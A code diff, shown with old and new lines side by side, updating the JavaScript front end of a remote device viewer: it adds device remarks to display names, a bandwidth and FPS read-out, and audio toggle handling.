(d.os && d.os.toLowerCase().includes(q)) || (d.os && d.os.toLowerCase().includes(q)) ||
(d.location && d.location.toLowerCase().includes(q)) || (d.location && d.location.toLowerCase().includes(q)) ||
@@ -1853,7 +2232,7 @@
'<polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/>' + '<polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/>' +
'</svg>' + '</svg>' +
'</button>' + '</button>' +
'<h3>' + escapeHtml(d.name || 'Unknown') + '</h3>' + '<h3>' + escapeHtml(displayName(d)) + '</h3>' +
'<div class="info-row">' + '<div class="info-row">' +
'<div class="info"><span class="info-label">IP:</span> ' + escapeHtml(d.ip || '-') + '</div>' + '<div class="info"><span class="info-label">IP:</span> ' + escapeHtml(d.ip || '-') + '</div>' +
'<div class="info"><span class="info-label">Loc:</span> ' + escapeHtml(loc) + '</div>' + '<div class="info"><span class="info-label">Loc:</span> ' + escapeHtml(loc) + '</div>' +
@@ -2120,9 +2499,18 @@
const compat = checkWebCodecs(); const compat = checkWebCodecs();
if (!compat.supported) { alert('Browser does not support H264: ' + compat.reason); return; } if (!compat.supported) { alert('Browser does not support H264: ' + compat.reason); return; }
currentDevice = dev; currentDevice = dev;
document.getElementById('device-name').textContent = currentDevice.name; document.getElementById('device-name').textContent = displayName(currentDevice);
document.getElementById('frame-info').textContent = ''; document.getElementById('frame-info').textContent = '';
// Reset throughput / resolution read-outs for the new session
currentWidth = 0; currentHeight = 0;
bwBytesAccum = 0; bwBytesPerSec = 0;
frameCount = 0; lastFrameTime = performance.now(); fps = 0;
const fbs = document.getElementById('fb-stats');
if (fbs) fbs.textContent = '';
updateScreenStatus('connecting'); updateScreenStatus('connecting');
// Default the audio button to "on" optimistically; server will
// correct via connect_result.audio_enabled or audio_state event.
applyAudioState(true);
showPage('screen-page'); showPage('screen-page');
ws.send(JSON.stringify({ cmd: 'connect', id: String(id), token })); ws.send(JSON.stringify({ cmd: 'connect', id: String(id), token }));
} }
@@ -2145,7 +2533,7 @@
termState.deviceId = String(id); termState.deviceId = String(id);
termState.ready = false; termState.ready = false;
document.getElementById('term-title').textContent = dev.name + ' Terminal'; document.getElementById('term-title').textContent = displayName(dev) + ' Terminal';
document.getElementById('term-status-info').textContent = 'Connecting...'; document.getElementById('term-status-info').textContent = 'Connecting...';
// 先 showPage 让 term-host 拿到真实尺寸xterm.open() 必须在容器有 size 时调用, // 先 showPage 让 term-host 拿到真实尺寸xterm.open() 必须在容器有 size 时调用,
@@ -2470,6 +2858,39 @@
} }
} }
// Pretty-print bytes/sec with a compact 1-byte / 1K / 1M scale.
function formatBandwidth(bytesPerSec) {
if (bytesPerSec < 1024) return bytesPerSec + 'B/s';
if (bytesPerSec < 1024 * 1024) return Math.round(bytesPerSec / 1024) + 'K/s';
return (bytesPerSec / 1024 / 1024).toFixed(1) + 'M/s';
}
// 1-second ticker that pulls the FPS/bandwidth counters and refreshes
// the two read-outs: #frame-info (always visible above the canvas) and
// #fb-stats (a chip inside the floating toolbar, only visible while
// the toolbar is expanded — that's how the fullscreen mode shows
// throughput without cluttering the screen).
function renderStats() {
// FPS 已经在 decoder.onOutput 里就地更新renderStats 只负责
// 把最新的 fps、bandwidth 组装成显示串写到 DOM。
bwBytesPerSec = bwBytesAccum;
bwBytesAccum = 0;
const fi = document.getElementById('frame-info');
const fs = document.getElementById('fb-stats');
if (currentWidth > 0 && currentHeight > 0) {
const bw = formatBandwidth(bwBytesPerSec);
if (fi) fi.textContent = currentWidth + 'x' + currentHeight +
' @ ' + fps + ' fps · ' + bw;
if (fs) fs.textContent = bw;
} else {
if (fi) fi.textContent = '';
if (fs) fs.textContent = '';
}
}
setInterval(renderStats, 1000);
function isLandscape() { function isLandscape() {
return window.innerWidth > window.innerHeight; return window.innerWidth > window.innerHeight;
} }
@@ -2566,6 +2987,26 @@
} }
} }
// Reflect server-confirmed audio on/off on the toolbar icon. Server is
// authoritative — toggleAudio() does not flip state locally; it only
// sends the request and waits for the audio_state broadcast.
function applyAudioState(enabled) {
audioEnabled = !!enabled;
const btn = document.getElementById('btn-audio-bar');
if (btn) {
// 0x1F50A speaker / 0x1F507 muted speaker
btn.innerHTML = audioEnabled ? '&#x1F50A;' : '&#x1F507;';
btn.title = audioEnabled ? 'Mute audio' : 'Unmute audio';
btn.classList.toggle('muted', !audioEnabled);
}
}
function toggleAudio() {
if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'audio_toggle', token }));
}
}
// Detect touch device (mobile/tablet) // Detect touch device (mobile/tablet)
const isTouchDevice = ('ontouchstart' in window) || (navigator.maxTouchPoints > 0); const isTouchDevice = ('ontouchstart' in window) || (navigator.maxTouchPoints > 0);
@@ -3440,6 +3881,10 @@
}); });
function disconnect() { function disconnect() {
// Reset throughput / resolution read-outs
currentWidth = 0; currentHeight = 0;
bwBytesAccum = 0; bwBytesPerSec = 0;
frameCount = 0; lastFrameTime = performance.now(); fps = 0;
// Reset control mode // Reset control mode
controlEnabled = false; controlEnabled = false;
// Reset keyboard state (blur event will update button state) // Reset keyboard state (blur event will update button state)
@@ -3488,6 +3933,14 @@
return div.innerHTML; return div.innerHTML;
} }
// 设备显示名:有备注则 "hostname (备注)",否则就是 hostname。
// 服务端备注从 m_ClientMap MAP_NOTE 取(参看 BuildDeviceListJson
function displayName(d) {
if (!d) return '';
const name = d.name || 'Unknown';
return d.remark ? (name + ' (' + d.remark + ')') : name;
}
function startPingInterval() { function startPingInterval() {
if (pingInterval) clearInterval(pingInterval); if (pingInterval) clearInterval(pingInterval);
pingInterval = setInterval(() => { pingInterval = setInterval(() => {